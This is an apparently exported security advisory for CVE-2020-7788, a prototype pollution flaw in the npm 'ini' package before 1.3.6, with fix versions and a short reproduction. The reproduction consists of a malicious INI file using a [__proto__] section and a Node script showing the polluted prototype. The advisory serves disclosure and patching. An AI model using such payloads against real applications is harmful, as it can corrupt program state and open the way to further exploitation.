ini
Affected
- introduced
0, fixed1.3.6(semver)
Fixed versions
1.3.6
Fix
- Fixed version
1.3.6npm install [email protected]
Advisory
Also known as: CVE-2020-7788, SNYK-JS-INI-1048974
ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
Overview
The ini npm package before version 1.3.6 has a Prototype Pollution vulnerability.
If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.
Patches
This has been patched in 1.3.6.
Steps to reproduce
payload.ini
[__proto__]
polluted = "polluted"
poc.js:
var fs = require('fs')
var ini = require('ini')
var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)
> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
pollutedHigh Basis: The source's own band: HIGH
0, fixed 1.3.6 (semver)1.3.6
1.3.6npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0